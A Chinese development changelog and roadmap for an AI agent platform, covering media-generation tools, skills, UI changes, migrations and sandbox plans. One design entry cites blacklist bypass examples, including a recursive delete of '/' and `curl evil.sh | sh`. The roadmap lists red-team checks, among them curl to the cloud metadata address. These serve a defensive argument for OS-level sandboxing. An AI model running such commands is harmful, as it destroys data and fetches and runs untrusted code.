  • 豆包 Seedance 2.0 Fast 视频生成接入(文生视频)+ videogen skill:config/media/doubao.yaml 展开 video 段(seedance_2_fast:¥37/Mtok 文生 / ¥22/Mtok 图生,实测档位 480p 5s ¥1.86 / 720p 5s ¥4.00 — 由 token 公式 (in+out)×W×H×fps/1024 反推校验通过);tools/seedance.py 走 ark POST /contents/generations/tasks → 5s 间隔轮询 → succeeded 后 download mp4 + .meta.json 落 <wd>/videos/<ts>-<rand>.mp4,失败/cancel 不计费;core/storage/usage.py::record_video_usage 多态 units snapshot(resolution/duration/ratio/fps/tokens/单价);build_agentvideo_variant + cancel_check 形参 — cancel_check 必须在 build 阶段传(SeedanceTool ctor 持有用于轮询期间响应停止按钮,改了原"build 后赋 agent.cancel_check"的延迟绑定,web 入口同步迁移);web/app.py_list_video_variants / _resolve_video_model / GET /v1/video_models / MessageRequest.video_model / OptimizePromptRequest.video_model;dev.html 顶栏第三下拉 + state.videoModels/videoModel + 发消息一起 POST。前端 chip / inline <video> / extractMediaBanner / _categorize 在前期工作里已为 seedance 留好脚手架,几乎不动。skills/videogen/SKILL.md 六维诊断把 imagegen 的"光线"换成"运动+镜头"两维(运动必填,否则应该走 seedream 而非 seedance —— 差 18 倍价钱);BLOCKING 门槛比 imagegen 更严(¥4 vs ¥0.22)且要等 30-90s,贴 prompt+参数+预计花费+预计等待四件套等明确确认。general_v1.md 加 seedance 触发指引(平行 seedream)。phase 1 仅 t2v,不支持 i2v(skill 明示告诉用户)。fast 上限 720p,1080p+ 留给 pro variant(yaml 当前未配)。否决:(a) progress 事件流化(需要给 tool 加 sink 注入,phase 1 用 run_status=running 够了);(b) 远端 cgt-task DELETE(Volcengine 无明确 API,best-effort 不动);(c) i2v phase 1 拉进来(要图片转 URL + UI 选已有图,延后)。

2026-05-21

  • dev.html primary button hover 文字消失修复(.primary:hoverbackground: var(--accent)):button:hover:not(:disabled)button.primary:hover 特异性同为 (0,2,1) 平手按源码序后者赢,但后者只声明了 filter: brightness(1.08) 没声明 background,导致 background fallback 到前者的 var(--hover) 浅灰,而 color 仍是 .primary 的白 —— 白字浅灰底视觉消失。修法守住 background = accent,brightness filter 在红底上正常提亮。"+ 新建任务" / "发送" 两个 primary 按钮 hover 体验回归。
  • sandbox 阻塞地位写进 DESIGN(§7.7 Stage C 标 hard prereq / §7.8 加 shell+run_python 无沙箱风险行 / §7.9 加"不在工具层加强黑名单"取舍 2026-05-21):用户提出"模型写危险 sh 命令直接执行就炸了"担忧,确认风险真实但分两层 —— 本地 dogfood blast radius 限自身,§5 less-scaffolding-more-trust 适用;SaaS 外部开放则 blast radius = 主机 + 跨 user 数据 + cloud IAM,信任模型完全变。tools/shell.py::BLOCKED_PATTERNS 是 trivial-bypass 装饰品(双空格 / bash -c / python -c "import shutil; shutil.rmtree('/')" / curl evil.sh \| sh / cd / 全能过),不在它上面继续加规则 —— 命令注入图灵完备,黑名单 fundamentally broken,做复杂只给虚假安全感且误伤合法用法。正确防线在 OS 层 §7.5(per-task docker exec + drop ALL caps + read-only rootfs + bind mount = own user root + egress allowlist + cgroup),Stage C 是开放外部用户的 hard prereq。否决了"shell=False + 拒管道 / 重定向 / $()"折中 —— 挡不住 python -c 间接路径且砍掉合法用法。
  • dev.html CSS 精简 + 圆角降档 + modal 基类化(style 块 589 → 522 行,-11%):为了"没那么圆润"统一调整。引入 CSS tokens:① 语义色组 --c-green/blue/purple/orange/red + 同色 -bg/-bd 三件套,顶栏 5 个按钮 hover + dd-item + badge.completed + sp-copy/sp-move 全切到 token(同色 selector 合并:export ≈ sp-copy 蓝、abandon ≈ sp-move 橙,各省 1 条规则);② 圆角分档 --r-sm/md/lg/xl = 3/4/6/8px,主流 button/input/msg/menu 从 6px 降到 4px,modal card 从 8~12px 降到 6~8px,art-chip 999px 保留(胶囊语言);③ --mono/--t/--shadow-card 收敛重复 font-family/transition/box-shadow。④ 4 个 modal(#admin-modal/#src-picker-modal/#new-task-modal/#file-preview-modal)抽 .modal 基类(fixed/inset/bg/display/.show 五属性合并),id 选择器只留 z-index + 宽高差异;HTML 同步加 class="modal"(JS classList.add("show") 不动)。⑤ .msg .body 与 file-preview .md-render 合并 markdown 渲染规则(.msg .body x, .md-render x { ... },从两套 17 条缩到一套 17 条多 selector)。⑥ button:disabled 全局兜底,删散落 2 处单独写;#login input:focus#admin-modal input:focus 合并(规则一字不差)。.dev-item.act-export/rename 同色合并到一行。功能 0 改动,JS 完全不动;.dd-item 颜色微变(原 #2e7d32 → #27ae60 等,因为统一到 5 组色 token)是可接受的副作用。
  • 工作目录回到原生 <select> + sentinel + 二级 input(modal + 顶部 filter):combobox 方案推翻 —— 即使 show 时不过滤,modal 里 wd 因联动有值之后用户的直觉仍然是"我得点开下拉看选项",自己实现的 panel 总不如浏览器原生 select 稳。改回 select 范式:① modal nt-wd-sel 第一项 sentinel + 新建「<name>」(label 由 updateSentinelLabel 跟 name 实时刷)+ 其后已有目录列表;sentinel 选中时显示二级 nt-wd-new 输入框默认值跟随 name,选已有目录时隐藏。wdManuallyEdited 锚到二级 input 上(用户改它就脱钩,清空恢复跟随)。② 顶部 filter-wd 也改成 <select>,首项 (全部目录),onchange → loadTaskList;原 input 的 debounce listener 删,搜索 filter-q 的 debounce 保留独立写。③ loadFolderSuggestions 拉数据 + 新增 populateFolderSelects 灌两个 select(保留当前选中值);enterApp 启动时 fire-and-forget 预拉一次让左 pane 一打开就有选项。④ hint 在"输入新名恰好命中已有"时提示"将复用而非新建"。combobox 工厂 + .combo CSS + datalist 残留全删。
  • 新建任务弹窗工作目录改 combobox + name 联动:web/static/dev.html modal 里 nt-wd-sel<select> 改成 <input list="folders-datalist">,删 + 新建目录… sentinel + 二级 nt-wd-new 输入框;加 wdManuallyEdited flag —— name 输入时若 flag=false 自动同步到 wd(programmatic 改 value 不触发 wd input 事件不会假阳性),wd 非空输入置 flag=true 脱钩,wd 清空重置 flag=false 但保持空(避免 backspace 想换名字时被立刻填回打断);submit 保留 working_dir || name fallback 兜底空值。loadFolderSuggestions 不再渲染 select options,只灌共享 datalist + 缓存到 state.folders 供 hint 比对"命中已有/新建"。label 文案 (可选,留空 → 用任务名...)(默认跟随任务名;可输入新名或选已有目录复用),更直观。
  • system prompt 注入 task 预选 skill 提示:core/agent_builder.py::_build_system_prompttask_skill 参数,非空时在"工作目录与 task 上下文"段加一行 - **task 预选 skill**: \` — 用户创建时声明的主 skill;空字符串走老路径,prompt 字节级一致。LLM 拿到这条事实 + general_v1.md:17-23已有的"对应 skill 领域先 load_skill" 规则自然组合 → 主动 load。否决"直接把完整 SKILL.md 预注入 prompt"方案 —— 那会把tasks.skill` 从 metadata 升格成 binding,需要同步改 DESIGN.md / 想清楚 PATCH 改 skill 的语义,投入产出比不划算;轻量提示保渐进披露三层架构不动。
  • imagegen skill 加 调 tool 前必须贴 prompt 给用户 + BLOCKING 等确认硬约束:用户反馈之前流程"模糊就问"不够,清楚的描述也可能模型脑里和用户脑里对不上,事后看图才发现白烧 ¥0.22。改:① 顶部流程一句话加" 把 prompt 完整贴给用户看 + 问改不改 → 用户明确确认后 → 调 seedream"步骤;② 加「调 tool 前的强制门(铁律)」段定义回复分类(可以/OK/画吧/嗯 算确认;改 X → 重贴重等;沉默/追问别的 → 继续等;模棱两可 → 追问到明确);③ 加「调 tool 前再过一道」段给具体贴 prompt 的对话格式(代码块 + 参数清单 + 预计花费 + 一句"开烧?改什么?");④ 调用范式段加"前置条件:已拿到明确确认才调";⑤ 反模式加两条(没贴就调 / 模棱两可当确认)。本质是把"模型脑内装配"摊到对话层让用户最后过一眼,装配 ≠ 授权调用。:用户反馈 skill 缺图片比例引导。原 SKILL 里 size 表写"比例只能正方形"是基于 doubao.yaml + tool 参数描述只列三个正方形例子的间接推断,无验证。改:① 诊断五维 → 六维,加"比例/尺寸"(ppt 16:9 / 海报 9:16 / 头像 1:1 / 公众号 2.35:1 / 书籍 3:4);② 一次性追问范式加比例项,上下文推断里给"做 ppt/海报/公众号/学术示意"四种用途的默认比例;③ size 参数表重写成"按用途选比例,再选分辨率",列常见 size 参考值 + 明确"非方形是按比例算的参考值,豆包是否原生支持需首次小调用验证";④ 失败解药表加比例错(改 size 不动 prompt)+ API 报错回退默认两条;⑤ 反模式加"不问比例就默认走 yaml 1:1"。承认 unknown:豆包 5.0 实际支持哪些非方形 size 没验证,首次用错就回退默认 + 让用户协商,不臆造。:两根因 —— ① general_v1.md 「媒体生成工具」段把 seedream 写成一级直觉(列了"画/出/来张"等关键词 + 直接调 tool 的 how-to),压过 skill discovery block 的微弱声音;② imagegen description 关键词覆盖窄(没有"画/绘制/艺术图/图片"等朴素词)。修法:system prompt 那段改成"调 seedream 前必须先 load_skill('imagegen')",细节判断全移到 skill 里,只留 ¥0.22 计费 + 不装饰生成 + 不连发三条兜底硬约束;imagegen description 扩 17 个触发词(画/绘制/出图/来张/艺术图/写实图/场景图...)。两层联动:一级 prompt 指引到 skill,二级 description 提匹配概率。
  • 新增 imagegen skill(引导用户说清楚生图需求):skills/imagegen/SKILL.md 单文件(参考 coding skill 范式无 scripts/references)。核心是"先诊断模糊度 → 一次性给推断 + 待确认项 → 用户拍板 → 装配 prompt → 调 seedream tool"五步法,防止用户一句"画个 XX"就直接烧 ¥0.22。五维清单(主体/场景/风格/构图/光线)缺 2 维以上就先问;mermaid vs seedream 选型给"默认倾向 mermaid + 反向选 seedream 信号 + 模糊时主动一句话问用户"三段式(没在 system prompt 那段流程图优先 mermaid 上一刀切,留 skill 层细化判断);size/watermark/search 默认值取舍 + 失败不复发的解药表 + 8 条反模式。seedream tool 本身不动,skill 仅是流程引导层。
  • 登录页加"+ 管理员添加用户"入口 + 删 chat meta 条/tok 显示:web/auth.pycreate_user() helper(CLI/web 共用,避免漂移)+ AuthConfig.admin_tokenZCBOT_ADMIN_TOKEN env 读(未设 → None);web/app.pyPOST /v1/auth/admin/create_user 校验共享口令后落库(503/403/400/409 分支);前端 dev.html 登录卡片右下加 ghost link + 弹窗(email/密码/管理员口令),成功后回填邮箱到登录表单提示"已创建请登录",不自动登录;同时删 chat 顶栏 ${n_messages} 条 · ${tokens} tok 一行(与左 task 列表重复)。否决"User 表加 is_admin 列 + 管理员 JWT"方案 —— 开发期成本不划算,env 共享口令(类 PLATFORM_KEY 范式)够用。
  • 新增 documents skill(内部材料学科知识库 document_search API):skills/documents/{SKILL.md, client.py},四函数 list_kb / search / download / health;走 https://ai.ctc-zc.com:8100/api Bearer 认证,env DOCUMENT_SEARCH_API_KEY + DOCUMENT_SEARCH_URL(可覆盖);search 默认返 md_content(整篇 Markdown 50K-200K 字符级),SKILL.md 反模式约束"只 print 前 300 字"防爆上下文;smoke 验证发现库实质是 7 个材料学科预收的英文学术论文(胶凝/陶瓷/玻璃/晶体/复合/耐火/检验检测,21W+ 文件)+ 跨语言语义检索,SKILL.md 据此校准(原写"主语料中文"是错的);与 research(OpenAlex)互补,documents 已 Markdown 化对 LLM 更友好,但仅覆盖材料领域。
  • dev SPA SSE 客户端重连(覆盖 --reload 抖动):fetchSse 拆出 consumeSseStream + 包重连壳(1s/2s/4s 退避,最多 3 次);reader EOF 未见 done/error 算异常关流触发重连;后端 stream_events 入口检 tasks.run_status,非 running/cancelling 立即吐 done 关流(否则进程重启后新 broker 内存空,客户端会无限挂 ping)。3 次仍失败 → 卡片末尾红色"连接已断开,请重发"。断开期间 LLM delta 丢失,接受。
  • research skill 三次迭代 fetch_pdf 改走静态直链:fetch_pdffetch_xml 同范式,从 paper["pdf_url"] 流式下载,绕开 paper_pdf_view 路径 bug(disk 路径计算错);smoke 5/5 PASS。
  • research skill 二次迭代 list 端点加 pdf_url / xml_url 直链 + 新增 fetch_xml + pg_trgm GIN 索引:serializer 后端拼直链(避免 LLM 拿 stale URL),0006_pg_trgm 给 title/first_author/institution 加 GIN 把 ?search=xxx 从 30s timeout 降到几十 ms;SKILL.md 加"XML 优先 PDF"原则(XML 已结构化免 OCR)。
  • 顶栏 token 累计修(sync_task_tokens 改走 messages SUM):5/20 切 streaming 后 LLM.TokenCounter 内存计数器永不更新;删 TokenCounter 整个类,sync_task_tokensSELECT SUM(tokens_in/out) FROM messages WHERE task_id=? 现算;backfill 4 个 task。
  • 同 wd 并发软警告 banner + /v1/tasksrun_status 筛选:Claude Code 同款"信任 + 软警告"范式;selectTask + SSE 收尾两点拉同 wd running task,黄底 banner 提示邻居;task header 📁 wd 仅在 name≠wdName 时显示。否决了 γ 硬挡 / short_id 全产物隔离 / clone task 三方案(详见 DESIGN §7.9 2026-05-21)。
  • paper_server → research skill:范式判断走 skill(非 tool / 非 MCP / 非裸 httpx),skills/research/{SKILL.md, paper.py},三函数 search / get_paper / fetch_pdf;run_python 注入 PYTHONPATH=base_dir 让子进程能 from skills.research.paper import;paper_server 侧补 retrieve 端点 + PaperFilterSet + serializer 加 abstract。

2026-05-20

  • dev SPA chip 二次校准:工具 I/O 走产物白名单(seedream/seedance);助手正文 echo 路径无条件挂 chip 绕开 seenRels + 强制 allowInlineMedia=false(防同图二次 inline)。
  • chip 维度解绑产物工具白名单 + renderArtifactBarHtmlallowInlineMedia 参数:gate 降级到"图片/视频是否 inline"层,chip 不再受产物白名单限。
  • loop.py tool message 补 name 字段 + backfill 历史:OpenAI tool spec 本来就有 name,缺它导致历史回放无 banner / 无 chip;一行 fix + 幂等脚本回填 17 条。
  • chip 抽取改产物工具白名单门控:ARTIFACT_PRODUCING_TOOLS = {seedream, seedance},grep/read/shell 等通用工具结果里 echo 的路径不再误挂 chip;assistant 正文不门控(seenRels 兜底)。
  • dev SPA 输入区删上传按钮 + 加" 润色"按钮:POST /v1/tasks/{id}/optimize_prompt 同步走 task.model_profile 装配 LLM,meta-prompt 含当前模型 + image variant 元数据;execCommand 插入接入 textarea 原生 undo 栈;计费写 usage_events.kind="prompt_optimize",sync_task_tokens 不污染顶栏。
  • 中间产物 chip / inline 图去重 + CLAUDE.md 加"实施前先对方案"段:renderMessages 顶部建 seenRels Set + pickFresh 闭包给 5 个渲染点共享;CLAUDE.md 新规:非平凡改动动手前先口头对方案。
  • 顶栏加生图模型下拉 + 中间产物图片/视频内联展示:GET /v1/image_models 扫 yaml image 段;build_agent(image_variant=...) 装 SeedreamTool;renderArtifactBarHtml_categorize(rel) 分支,image/video 走 blob URL inline,异步 upgradeMediaArtifacts 替换占位;切 task 时 _flushMediaArtifactCache 回收 blob。
  • LLM 调用切 streaming(cancel 秒退)+ 发送/停止合并单按钮:chat_stream(stream=True, include_usage=True) + litellm.stream_chunk_builder 拼回 response,chunk 间 poll cancel;前端打字机靠 _emit("text", delta=...) 激活(原有渲染逻辑早就备好);#chat-actionstate.streaming 切发送/停止/停止中三态。
  • dev SPA seedream tool 透明性 banner:tool 返串首行 [seedream] model=... · size=... · cost=¥... · elapsed=...s,前端正则 parse 挂折叠态徽章。
  • 豆包 Seedream 5.0 接入 + 0007 cost_usd → cost_cny 全表统一币种:config/media/doubao.yaml 独立命名空间(ARK_API_KEY env),tools/seedream.pycore/ark_client.py 同步调 /images/generations,产物落 <wd>/figures/<ts>-<rand>.png + 同名 .meta.json;record_image_usageprice_cny_per_image snapshot 进 units jsonb(调价防漂移);0007 全表 ×7.2 一次性折 CNY;仅当 ARK_API_KEY 设了才挂 tool
  • POST /v1/files/deleterecursive + 顶层目录 task 引用闸:recursive=Trueshutil.rmtree;顶层目录被 task 引用 → 409"先 DELETE task 再清";前端非空目录二次确认带子项数。
  • fs tool 输出渲染 user_root-relative 路径:tools/base.py::Tooluser_root + _display(p) helper,fs.py 五 tool 所有结果串走 helper;chip 锚点用 _workingDirName 取末段(绝对路径返空);assistant 正文也挂 chip。根因消 chip 404 + 防 uuid/部署根泄漏。
  • POST /v1/tasks/{id}/clear 清空对话:同事务 lock + 检 running 状态 + DELETE messages + reset task 三列累计 + run_status='idle';usage_events 全不动(账单 source of truth)。
  • dev SPA chip 一期(对话内 tool_call/result 挂 artifact chip):extractArtifactRels 正则锚定 <wd>/... + 末段需含 .(滤目录);.art-chip 点击委托 openFilePreview
  • task 级宪法文件 spec 命名约定 + spec_lockspec 简化:<YYYY-MM-DD>-<task_short_id>-<task_name>.spec.md,short_id 作主锚 + glob 字典序最大 = current;_build_system_prompt 注入 task_id / today;proposal/ppt SKILL.md 加"先 glob 检 spec → 询问沿用/重定调"分支。
  • dev SPA 左 pane 折叠改 VS Code rail 模式 + time-ago 锁宽跨行对齐:body.left-collapsedgrid-template-columns: 40px 1fr 320px,只显折叠按钮;time-agoflex-shrink:0; min-width:64px 让 [N 条][N tok][time] 整组位置稳。
  • 任务行 meta 数字槽位跨行对齐:tabular-nums + .num{flex-shrink:0;text-align:right;min-width:44px} + fmtTokens(n) 桶分级(1.2k / 123k);折叠按钮拆双入口(pane / header)。
  • dev SPA 左 pane 调宽 280→320px + 行精简 meta:删 id8 span 挪到 row title hover;副行恢复 inline ellipsis 三件套;white-space:nowrap 防 CJK 断行。
  • 任务列表 pager bar → IntersectionObserver 滚动加载:loadTaskList({append}) 双语义 + _taskLoadSeq token 抢占式;sentinel 三态文案;首 pane-head 补"共 N 个"总数显示。
  • 任务行加最近操作时间(updated_at + fmtTimeAgo):相对时间分级(刚刚 / N 分钟前 / N 小时前 / 昨天 HH:MM / MM-DD HH:MM / YYYY-MM-DD)+ title hover 完整时间。
  • 新建任务弹框工作目录改 <select> 下拉:含 + 新建目录… sentinel 触发备用 input;loadFolderSuggestions 同次灌 select + datalist(后者只服务左 pane filter)。
  • dev SPA 主页轻量美化:header brand wrapper(24px 红渐变 Z logo)+ pane-head 子层级 + 顶栏按钮"中性 → hover 上语义色" + 圆角 4→6 / modal 6→8 + 阴影加深。
  • config/models/glm.yaml:智谱 GLM 5.1 接入(litellm zai provider + bigmodel.cn):zai/glm-5.1 + api_base=https://open.bigmodel.cn/api/paas/v4 覆盖国际站默认;env ZHIPUAI_API_KEY;thinking_mode=false(GLM 协议是 extra_body.thinking.type=enabled 与 OpenAI/DeepSeek reasoning_effort 不同,留 TODO)。
  • files SPA UX 翻面(destination-first)+ 拖拽上传 + 修 checkbox 全局 width bug:模型从 select-then-pick-dest 改 at-dest-pull-sources;input{width:100%} 选择器排除 checkbox/radio/file;#pane-right 监听拖拽 + 红虚线 overlay 落 state.filesPath
  • POST /v1/files/{copy,move} 跨目录批量搬动:_validate_transfer 预检 helper 批量原子校验;move 加顶层目录 task 引用闸(维持"working_dir = 顶层目录"invariant),copy 无此闸。
  • working_dir 视为可重生 FS 视图:DB source of truth,FS 目录可独立删 / 用户手动 rmtree / 跨机器迁移丢失,下次跑自动 mkdir 重建;DELETE task 后空目录 best-effort rmdir 清孤儿;files delete 顶层目录闸去掉。

2026-05-19

  • 0006 模型切换(c 模式 task 级 A 粒度)+ usage_events v2 表:tasks.model_profile 变 source-of-truth,顶栏下拉 PATCH 即换(A 粒度下条 send 生效);GET /v1/models 扫 yaml;message 历史按 messages.model_profile 切换点画 ── DeepSeek V4 Pro ──;usage_events 重建多态形态(units jsonb,chat 已接入,媒体扩展位预留)。
  • dev SPA 登录撤回 邮箱+密码,删 invites 表:前两条"邀请码 env → invites 表"一日游撤回;复用 users.email + bcrypt 哈希;/v1/auth/login_password + user add CLI;dev SPA 双 tab 登录(last-used LS 持久化)。
  • SENTINEL user 彻底撤(数据 + 代码):web 必走 JWT 后 sentinel 无角色;DB CASCADE 删 + 10 处代码删 import / fallback;build_agent* 让 user_id 必填(typechecker 拦多 user 函数)。
  • 任务/文件行 下拉菜单 + tool_result debounce 刷新右侧:单例浮层菜单(#floating-menu position:fixed)避开 pane overflow 裁剪;tool_result 事件 debounce 500ms 刷新文件 panel。
  • proposal skill mermaid 强制 + quality_check 加图相关 4 拦截 + /v1/files/downloadCache-Control: no-cache:模型曾写满 ASCII 字符画从未用 mermaid;render_diagrams caption 强制必填 + 同 task 唯一;quality_check 加"figures/ 有 png 但 sections 0 引用 / 围栏含 box-drawing / mermaid 缺首行 caption / caption 撞名"四条。
  • dev SPA 文件预览弹框:点击不再直接下载,90vw 模态按扩展名分派(image/pdf/text/md 已有 / docx 用 docx-preview / xlsx 用 SheetJS);vendor 入 git(~1MB)。

2026-05-18

  • 入口归位:cli.pymain.py,原 main.pycore/agent_builder.py,删 CLI REPL,§7 E 撤:main.py 原混三角色按 SoC 拆;git mv + 5 处 import 修;CLI 只剩 db / probe / web / user。dev SPA 已是 dogfood 主路径,REPL 无 --remote 双 transport 维护税。
  • 0004 schema 大瘦身:删 runs / usage_events 旧版,合 run_status / run_error 入 tasks;路由 run_id → task_id:单活 run 形态下客户端只需 task_id;broker 全 task_id 索引 + 加 start(task_id) 清上轮 done 标记。
  • POST /v1/files/rename + 顶层目录 delete 加 task 引用闸:/v1/files/* 升格为唯一目录树 mutation 入口,DB-FS 一致性服务端内化;顶层目录走 DB-aware 分支(SELECT FOR UPDATE + running/cancelling 409 + check_no_subtask + UPDATE 先于 FS rename)。
  • task-level cancel + AgentLoop 协作式 cancel + dev SPA stop 按钮:Broker 加 request_cancel / is_cancelled / clear_cancel(per-task threading.Event + setdefault);Loop 加 cancel_check callable + _fill_cancelled_tool_results 补 cancelled tool message;LLM 同步 call 本身不可中断(后接 streaming 修)。
  • POST /v1/tasks/{id}/messages 单活 run 锁 + 孤儿 reaper:同事务 SELECT FOR UPDATE + 活跃状态检查 + 标 running 三步原子;lifespan reaper 清进程 crash 留下的 running/cancelling 孤儿。
  • proposal skill 流程图/结构图管线:render_diagrams.py 扫 mermaid 块 → mmdc / mermaid.ink → png;render_docx add_picture 识别 ![](...) 单行 + mermaid 围栏特判;图编号 ctx['fig_no'] 递增。
  • system prompt skill 机制改"可选辅助":第 14 行从"永远 load 一下"改"简单问答/读代码/改 bug 不必硬套 skill";接 GET /v1/skills 下拉。
  • GET /v1/skills + dev SPA skill 字段改下拉:lifespan 启动扫一次挂 app.state(FS 静态运行中不变);<select> 首项空值,option 文案 name — description
  • dev SPA 全套 UI 中文化:静态 + 动态文案全本地化;技术字段(UUID / token / SSE event 名 / API 字段)不动。

2026-05-17

  • 0003 schema:name + working_dir + skill 三件套:任务标识与工作目录解耦;TRUNCATE tasks CASCADE + 字段改名 + 加 name TEXT NOT NULL;GET /v1/folders 给 dev SPA modal datalist。
  • GET /v1/tasks 分页 + 多维筛选 + ordering:{page,page_size,count,results} + 6 个 query(status/skill/working_dir/q ILIKE/ordering);allowlist 防注入;默认 -created_at
  • task 硬删 API + dev SPA delete 按钮 + 文件 per-row 删:DELETE /v1/tasks/{id} user_id 校验 + DB 行删(messages CASCADE)+ FS task_dir 不动(同 name 多 task 共享时 rmtree 易擦素材)。
  • files API 全面 user-rooted(去掉 task_id 前置):_safe_join 边界改 user_root + dotfile 过滤(.memory/ 隐藏);dev SPA loadFiles() 不再 gate on task_id。
  • files 面板 UX 项目名 + 修 root crumb bug:cur_rel == "." 不追加无意义 "." crumb;crumbs 第一格 label 从 "/" 改项目名。
  • task_dir 改 eager mkdir:build_agent 新建分支 + create_taskmkdir(parents=True, exist_ok=True);name = 项目声明,目录该 task 创建时存在。
  • task = name-based 项目目录 + memory dotfile:废 UUID 派生 + tasks/ 中间层;task_dir = workspace/users/<uid>/<name>/,同 name 多 task 共享;memory 搬 .memory/ dotfile;validate_task_name. 起头。

2026-05-15

  • §7 D 阶段 /v1 JSON API 落地;Phase G Jinja2/HTMX UI 路线撤:删 templates + CSS + jinja2/markdown-it-py/pygments 依赖;SSE event 由 HTML 片段切 JSON(event: <type> + data: <JSON>);dev SPA web/static/dev.html 留作本地 dogfood 主路径。
  • §7 D' 过渡 auth(PLATFORM_KEY → JWT)+ dev SPA:pyjwt HS256 + AuthConfig.from_env() fail-fast;数据隔离全 Task.user_id == user_id,跨 user 视 404;SSE 走 fetch + ReadableStream 手解(EventSource 不支持自定义 header)。
  • task_dir 改相对存储:DB 存 ROOT 内→相对 posix / ROOT 外→保留绝对;core/paths.py::{ROOT, to_db_path, from_db_path} 三出口;alembic 0002 一次 UPDATE backfill。CLAUDE.md 加"开发期不写兼容层"心智。
  • workspace 布局统一 per-user:workspace/users/<user_id>/{tasks/<uuid>,memory/}/;清旧数据不留兼容
  • litellm 启动 cost map 网络警告兜底:LITELLM_LOCAL_MODEL_COST_MAP=True 走本地 cost map,冷启动 ~5s → <1s。
  • Phase G G1-G6 Jinja2/HTMX Web UI (全撤,被 D + dev SPA 替换;沉淀的 sink / broker / no-subtask / files 安全归一保留)

2026-05-14

  • §7.1 心智模型修正:Folder-centric → Task 一等公民 + Dir 文件副视图:dir 不是 task 父容器,双视图正交;task_dir 留空 = 一次性对话 / 指定 = 项目化。
  • §7 B Steps 1-4 + 6:core/storage/{engine,models}.py SQLAlchemy 2.x ORM(5 表)+ alembic + cli db {upgrade,downgrade,current};state.json 全废,messages/TaskState 入 PG;check_no_subtask 同 user 下查前缀嵌套。

2026-05-12

  • §7 改写:platform/core 多租户方案废弃,改 user-direct(folder-centric → task-primary;task/messages 入 PG;no-subtask;hard cascade)。

历史(2026-Q1 → 05-11)

  • Phase 1-4:骨架 / 三 skill / run_python / Model Profile + Probing;ppt v3 加商务红 + apply_brand + Iconify;素材摄取改 markitdown CLI。
  • 05-06 → 05-08:Phase 6 部分(task + state.json + tokens 累计);TUI rich Markdown + spinner 实时耗时;/resume [last|<id>] + 懒创建 + _cleanup_if_empty
  • 05-09 → 05-10:DESIGN §7 初版(05-12 重写);cli.py export + core/export_docx.py
  • 05-11:atomic_write_text + core/memory.py(core.md 入 prompt,extended/* 索引);loop 事件流化 sink.emit 铺 SSE 路。

关键决策与偏差

决策 备注
工具基目录 cwd(读)+ working_dir(写) system prompt 同时注入两者绝对路径
Workspace 布局 workspace/users/<user_id>/{.memory/, <name>/} per-user 隔离;memory dotfile 防撞;同 name 多 task 共享
Eval Suite 不做 个人工具 dogfooding
版本化 prompt 直接 general_v1.md Windows 软链接麻烦,真要切再做
run_python 沙盒 subprocess + env 过滤 Docker 在 §7 C 阶段
兼容层 开发期不写 DB schema / 字段 / API 改动直接切,见 CLAUDE.md
/v1/files/* 与 DB files API 作目录树唯一 mutation 入口,DB-FS 一致性服务端内化 rename / delete 顶层目录 DB-aware
单活 run task 同时最多 1 个活 run gate 在 post_message 同事务 SELECT FOR UPDATE
LLM 调用走 streaming chat_stream + litellm.stream_chunk_builder 拼回;cancel 在 chunk 间 + tool_call 之间 poll cancel 延迟 100ms 级;content delta 即时 emit 给前端打字机
发送/停止单按钮 UI 按 state.streaming 切态;streaming 期间 Enter 不触发停止 防误触

文件清单

core/capabilities.py        71
core/llm.py                151   ← litellm 离线 cost map env + chat_stream(stream=True + include_usage)
core/loop.py               268   ← §7 A sink.emit + _stream_llm(chunk 间 poll cancel + emit delta)
core/sinks.py              101   ← §7 A
core/ui.py                  38
core/paths.py               50   ← task_dir db form 归一
core/probe.py              243
core/session.py            153   ← §7 B Step 2-3: ORM
core/skills.py              81
core/task.py                82   ← §7 B Step 3: PG-backed TaskState
core/memory.py              81   ← per-user `.memory/` dotfile
core/export_docx.py        383
core/storage/__init__.py    29
core/storage/engine.py      80
core/storage/models.py     130   ← 4 表(0004 删 runs;0005 email UNIQUE;0006 usage_events v2 + messages.model_profile;0007 cost_usd→cny)
core/storage/usage.py      125   ← record_chat_usage(USD→CNY ×7.2)+ record_image_usage(单价 snapshot 进 units)
core/storage/utils.py      136
core/ark_client.py         105   ← 火山方舟 HTTP 客户端(seedream / 后续 seedance 共享)
core/agent_builder.py      325   ← 装配 lib(有 ARK_API_KEY 才挂 SeedreamTool)
tools/{base,fs,shell,run_python,skill_tool,seedream}.py  ~640 行
main.py                    ~210  ← 入口:web / db / probe / user
db/migrations/env.py        61
db/migrations/versions/
  0001_initial_schema.py   125
  0002_task_dir_relative.py 61
  0003_task_name_and_working_dir.py 51
  0004_drop_runs_usage_events.py 77
  0005_users_email_unique.py 28
  0006_usage_events_v2_and_message_model.py 60
  0007_cost_usd_to_cny.py    40
web/__init__.py              5
web/app.py                ~1320  ← /v1 JSON API + user_id 隔离 + run lock + cancel + files copy/move
web/auth.py                ~190  ← 邮箱密码 + platform_key → JWT
web/broker.py              121   ← in-process pub/sub + cancel signal(全 task_id 索引)
web/sinks.py                21
web/static/dev.html       ~2480  ← dev SPA(3 栏 + 文件预览 + 双 tab 登录 + 选入弹框 + 发送/停止单按钮 + 流式打字机)
web/static/vendor/        ~1 MB  ← jszip / docx-preview / xlsx
─────────────────────────────────
Python 合计              ~3400 行(+ dev.html 1700 静态 + vendor 1MB)

skills/ppt|proposal|coding|research/ 脚本 ~700 行 + SKILL.md / references / config / prompts(含 config/media/doubao.yaml)+ alembic.ini,总仓库约 3800 行。


下一步候选(性价比排序)

  1. 真 OIDC 接入 + CORS 收紧(~1 天)—— /v1/auth/login 内部换 OIDC ID token 校验(路由层 Depends 不动);CORS 改 platform 域名 allowlist。真发布给真实用户前必做
  2. §7 C Executor + sandbox(~3-5 天,按 DESIGN §7.5 落地清单 6 条逐项实施)—— run_python/shellExecutor.run(...),本地保留 subprocess、SaaS 走 docker;api_key_envKeyProvider 运行时注入。多用户在线跑代码前置。Stage C 完成 DoD = 6 条落地清单全完成 + 红队回归用例通过:① 容器内 curl http://169.254.169.254/... → timeout / connection refused;② 容器内 psql postgresql://<zcbot_pg_host>... → IP block(连接失败);③ 容器内 nohup sleep 1000 & exec 退出后 docker top <user_container> 看不到残留进程;④ 跨 user 容器互访(A 容器 curl http://<B_container_ip>:*)→ 网络隔离阻断;⑤ 出网走 proxy 时未在 allowlist 的域名 → 403。原 ~2-3 天估值未含 egress proxy 部署 / xfs project quota 升级 / 红队用例,补回真实工程量。
  3. Phase 6 context 三层压缩(~1 天)—— 兜底,V4 长上下文一般用不到。

